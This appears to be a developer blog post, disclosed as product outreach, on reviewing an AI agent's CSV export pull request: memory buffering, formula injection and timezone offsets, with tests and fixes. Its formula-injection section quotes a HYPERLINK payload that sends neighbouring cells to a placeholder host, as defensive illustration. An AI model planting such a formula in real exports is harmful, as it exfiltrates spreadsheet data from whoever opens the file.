An admin asked for one button. "Export orders to CSV." An agent produced a 180-line PR in minutes. The smoke test passed on twelve rows.
The reviewer approved nothing. Three defects sat under the green checkmark. One buffered every row twice. One let a customer note start a spreadsheet formula. One wrote every timestamp without an offset.
This post walks the triage any agent-generated export PR deserves: what to trust, what to revert, what to test. Code is Python with asyncpg and FastAPI. The method ports to any stack.
Disclosure: This article was prepared as part of MonkeyCode's product outreach.
1. The diff, as submitted
@router.get('/admin/export/orders.csv')
async def export_orders(db):
rows = await db.fetch('SELECT id, email, total, created_at, note FROM orders')
buf = io.StringIO()
w = csv.writer(buf)
w.writerow(['id', 'email', 'total', 'created_at', 'note'])
for r in rows:
w.writerow([r['id'], r['email'], r['total'], r['created_at'].isoformat(), r['note']])
return Response(buf.getvalue(), media_type='text/csv')
Read it once, slowly, at db.fetch. That call materializes the full table. Then StringIO holds a second copy. Then getvalue() makes a third.
The route is correct for a demo table. It is a memory incident for a real orders table.
2. Triage: trust, revert, test
| Diff area | Verdict | Why |
|---|---|---|
| Route path and CSV headers | Trust | Names match the admin UI and the support runbook |
csv.writer usage |
Trust | Correct escaping of quotes and commas |
db.fetch of the whole table |
Revert | Loads the full result set before the first byte |
Response(getvalue()) |
Revert | No streaming, no backpressure, no early flush |
created_at.isoformat() |
Test | Silent offset loss on naive datetimes |
| Cell values passed raw | Test | Formula injection via user-controlled text |
Missing Content-Disposition
|
Fix | Browsers guess the filename otherwise |
Three rows in that table justify the whole review. None of them fail the existing test suite.
3. Defect A: the export buffers everything
The reviewer measured instead of arguing. A seed script inserted 200,000 rows. tracemalloc recorded the peak during one request.
import tracemalloc
def test_export_peak_memory(client, seeded_orders):
tracemalloc.start()
with client.stream('GET', '/admin/export/orders.csv') as r:
for _ in r.iter_bytes(65536):
pass
_, peak = tracemalloc.get_traced_memory()
tracemalloc.stop()
assert peak < 64 * 1024 * 1024
Record the peak on the old code before changing anything. That number is the baseline for the review comment and the PR description.
The fix is a server-side cursor plus a generator. Rows leave the process while the query is still open.
BATCH = 1000
async def stream_orders(db):
buf = io.StringIO()
writer = csv.writer(buf)
writer.writerow(HEADER)
yield buf.getvalue()
async with db.transaction():
async for row in db.cursor(SELECT_ORDERS, prefetch=BATCH):
buf.seek(0)
buf.truncate(0)
writer.writerow(to_row(row))
yield buf.getvalue()
Two details matter more than the generator itself.
- The cursor lives inside a transaction, or asyncpg will not hold it.
-
prefetchcaps the in-flight rows on the client side.
Return it with StreamingResponse(stream_orders(db), media_type='text/csv'). Set Content-Disposition: attachment; filename='orders.csv' explicitly.
4. Defect B: formula injection
CSV is not inert. A cell beginning with =, +, -, or @ becomes a formula in Excel and Sheets. A customer note of =HYPERLINK("http://x/?"&A1,"click") exfiltrates neighboring cells on open.
The agent wrote raw values. The reviewer added a sanitizer at the boundary.
DANGEROUS_PREFIX = ('=', '+', '-', '@', '\t', '\r')
def sanitize(value: str) -> str:
if value and value[0] in DANGEROUS_PREFIX:
return "'" + value
return value
Apply it to every free-text column. Do not apply it to integers you generated.
Test the exact strings, not the concept.
@pytest.mark.parametrize('cell', ['=1+1', '+A1', '-2+3', '@SUM(A1)', '\tcmd'])
def test_sanitizer_prefixes_dangerous_cells(cell):
assert sanitize(cell).startswith("'")
5. Defect C: timezone drift
datetime.isoformat() prints what it is given. A naive column prints without an offset. A reader in another zone parses it as local time.
The reviewer pinned one rule: storage is UTC, output carries an offset.
from datetime import timezone
def format_ts(ts):
if ts.tzinfo is None:
ts = ts.replace(tzinfo=timezone.utc)
return ts.astimezone(timezone.utc).isoformat()
Then assert the suffix. A golden-string test catches regressions in one line.
def test_timestamp_has_utc_offset():
assert format_ts(datetime(2026, 11, 9, 4, 5, 6)).endswith('+00:00')
Treat naive datetimes as a schema bug, not a formatting bug. Fix the column type and add a migration check.
6. The review loop, in order
Steps the reviewer ran, in the order they paid off.
- Seed a table larger than any demo:
python -m scripts.seed_orders --rows 200000. - Record peak memory on the unmodified branch.
- Reproject the route as a generator; keep the old path behind a flag.
- Diff both outputs with
cmpon a fixed seed. - Add sanitizer and timestamp tests before merging.
- Check headers with
curl -sD- -o /dev/null http://localhost:8000/admin/export/orders.csv. - Confirm chunked transfer, not a single
Content-Lengthblob.
Step four is the one reviewers skip. Byte-identical output proves the rewrite is a refactor, not a behavior change.
7. Where the free tier fits
The agent drafted this PR on MonkeyCode's free model access. The reviewer then re-ran the memory test on the free server option, not on a laptop.
That split is the useful part. Generation is cheap. Verification needs a machine that stays up for a 200,000-row seed and a full pytest run.
Two limits apply. A free server is not production hardware, so compare shapes rather than absolute numbers. And treat every generated diff as unverified until your own harness prints a result.
The free model access and free server option fit review loops like this one, where the artifact and the test are the actual work.
8. Who should skip this approach
- Teams without a seeded fixture. Memory tests on toy tables prove nothing.
- Exports that must be signed or audited. Streaming complicates checksums.
- Datasets small enough to fit in one page.
db.fetchis fine there. - Anyone unwilling to run the harness. An unverified PR is a liability.
Closing
The agent's PR was not wrong everywhere. Route, headers, and CSV escaping were sound. The three defects were boundary issues: table size, cell content, and clock zone.
Review those boundaries first. Measure before you argue. Keep the sanitizer and the offset test after the rewrite lands.
Top comments (0)